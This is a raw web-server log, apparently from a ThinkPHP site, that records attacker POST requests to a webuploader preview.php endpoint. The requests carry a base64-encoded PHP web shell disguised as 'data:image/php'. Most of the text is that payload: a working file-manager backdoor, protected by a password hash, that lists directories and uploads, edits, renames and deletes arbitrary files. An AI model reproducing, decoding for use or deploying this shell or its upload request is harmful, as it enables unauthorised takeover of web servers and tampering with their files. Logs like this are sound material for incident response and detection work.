0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:34+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/Js/webuploader/0.1.5/server/preview.php [运行时间:0.002824s] [吞吐率:354.10req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Js', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCR